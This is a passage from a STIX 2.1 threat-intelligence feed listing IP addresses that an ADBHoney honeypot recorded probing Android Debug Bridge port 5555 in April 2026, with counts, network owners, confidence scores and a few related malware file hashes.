      ]
    },
    {
      "created": "2026-04-01T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-01T22:58:37.000Z | last_seen=2026-04-01T23:09:39.350Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--43ac1714-aca9-44d7-8067-eb7227fd4628",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:00:02.000Z",
      "valid_until": "2026-05-03T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-01T22:58:37.000Z",
          "last_seen": "2026-04-01T23:09:39.350Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-01T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=61 | first_seen=2026-04-01T22:01:47.000Z | last_seen=2026-04-29T21:32:47.211Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--f15433ca-ea71-4e3a-a813-05671a711164",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-01T23:00:02.000Z",
      "valid_until": "2026-05-03T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 61,
          "first_seen": "2026-04-01T22:01:47.000Z",
          "last_seen": "2026-04-29T21:32:47.211Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-02T01:56:13.000Z | last_seen=2026-04-02T02:07:54.344Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:00:03.000Z",
      "valid_until": "2026-05-04T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-02T01:56:13.000Z",
          "last_seen": "2026-04-02T02:07:54.344Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-02T01:27:23.000Z | last_seen=2026-04-02T01:37:35.893Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--00920327-b599-428c-a027-56ed02955d99",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:00:03.000Z",
      "valid_until": "2026-05-04T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-02T01:27:23.000Z",
          "last_seen": "2026-04-02T01:37:35.893Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-02T01:26:28.000Z | last_seen=2026-04-02T01:27:35.722Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f8d0a829-2119-4400-b63c-3cca8b6ef1b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:00:03.000Z",
      "valid_until": "2026-05-04T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-02T01:26:28.000Z",
          "last_seen": "2026-04-02T01:27:35.722Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=16 | first_seen=2026-04-02T02:17:24.000Z | last_seen=2026-04-02T02:28:13.540Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--02cf6d9b-3063-4d41-a649-36d3b39d14b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.71.181.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:00:04.000Z",
      "valid_until": "2026-05-04T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 16,
          "first_seen": "2026-04-02T02:17:24.000Z",
          "last_seen": "2026-04-02T02:28:13.540Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=SC; asn=210006; asn_org=Shereverov Marat Ahmedovich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-02T02:42:58.000Z | last_seen=2026-04-02T03:07:06.559Z | ports=5555 | cc=SC | asn=210006 | org=Shereverov Marat Ahmedovich",
      "id": "indicator--a5374ba4-0c5a-44de-a954-46d103a10583",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:00:04.000Z",
      "valid_until": "2026-05-04T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-02T02:42:58.000Z",
          "last_seen": "2026-04-02T03:07:06.559Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "210006"
          ],
          "org": [
            "Shereverov Marat Ahmedovich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-02T03:36:16.000Z | last_seen=2026-04-02T03:37:20.099Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--b80fa719-8478-4ae7-8a19-ac2d8808a135",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T04:00:03.000Z",
      "valid_until": "2026-05-04T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-02T03:36:16.000Z",
          "last_seen": "2026-04-02T03:37:20.099Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T05:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-02T04:15:38.000Z | last_seen=2026-04-02T04:17:17.819Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--73e04678-7410-4884-8d9a-3d7762d04248",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.198.171.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:00:05.000Z",
      "valid_until": "2026-05-04T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-02T04:15:38.000Z",
          "last_seen": "2026-04-02T04:17:17.819Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=62240; asn_org=Clouvider Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T05:00:48.000Z | last_seen=2026-04-02T05:14:18.799Z | ports=5555 | cc=US | asn=62240 | org=Clouvider Limited",
      "id": "indicator--9c57c4b2-52d6-4648-a40c-80c6e4711d28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.146.55.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:00:04.000Z",
      "valid_until": "2026-05-04T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T05:00:48.000Z",
          "last_seen": "2026-04-02T05:14:18.799Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "62240"
          ],
          "org": [
            "Clouvider Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T08:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=13 | first_seen=2026-04-02T07:44:18.000Z | last_seen=2026-04-02T07:54:34.623Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5910656c-5a4c-4520-ae31-099fef345838",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.62.87.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:00:12.000Z",
      "valid_until": "2026-05-04T08:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 13,
          "first_seen": "2026-04-02T07:44:18.000Z",
          "last_seen": "2026-04-02T07:54:34.623Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T08:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=CA; asn=7992; asn_org=Cogeco Connexion Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T07:36:53.000Z | last_seen=2026-04-02T07:54:50.475Z | ports=5555 | cc=CA | asn=7992 | org=Cogeco Connexion Inc.",
      "id": "indicator--3fec6bba-f16c-4a7f-be2b-17eb21651b85",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.121.219.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T08:00:12.000Z",
      "valid_until": "2026-05-04T08:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T07:36:53.000Z",
          "last_seen": "2026-04-02T07:54:50.475Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "7992"
          ],
          "org": [
            "Cogeco Connexion Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=65 | first_seen=2026-04-02T10:55:42.000Z | last_seen=2026-04-03T07:14:40.096Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--e62324f0-7c38-4303-a9c7-efca83003bc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:00:02.000Z",
      "valid_until": "2026-05-04T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 65,
          "first_seen": "2026-04-02T10:55:42.000Z",
          "last_seen": "2026-04-03T07:14:40.096Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=7018; asn_org=AT&T Enterprises, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T10:13:32.000Z | last_seen=2026-04-02T10:26:38.606Z | ports=5555 | cc=US | asn=7018 | org=AT&T Enterprises, LLC",
      "id": "indicator--7f0f7c5e-f498-48c3-b648-362c7bdca686",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '99.71.211.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:00:02.000Z",
      "valid_until": "2026-05-04T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T10:13:32.000Z",
          "last_seen": "2026-04-02T10:26:38.606Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7018"
          ],
          "org": [
            "AT&T Enterprises, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T13:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-02T12:42:39.000Z | last_seen=2026-04-02T12:58:50.789Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--5f5e9c9b-6103-4749-b1a0-da4f9f6f6018",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '211.248.175.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T13:00:06.000Z",
      "valid_until": "2026-05-04T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-02T12:42:39.000Z",
          "last_seen": "2026-04-02T12:58:50.789Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-02T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=400587; asn_org=Ryamer, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-02T13:44:11.000Z | last_seen=2026-04-02T13:45:12.630Z | ports=5555 | cc=US | asn=400587 | org=Ryamer, LLC",
      "id": "indicator--f500ed55-b269-49c2-b6cd-a3da3dbe1e94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '121.127.34.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T14:00:02.000Z",
      "valid_until": "2026-05-04T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-02T13:44:11.000Z",
          "last_seen": "2026-04-02T13:45:12.630Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "400587"
          ],
          "org": [
            "Ryamer, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
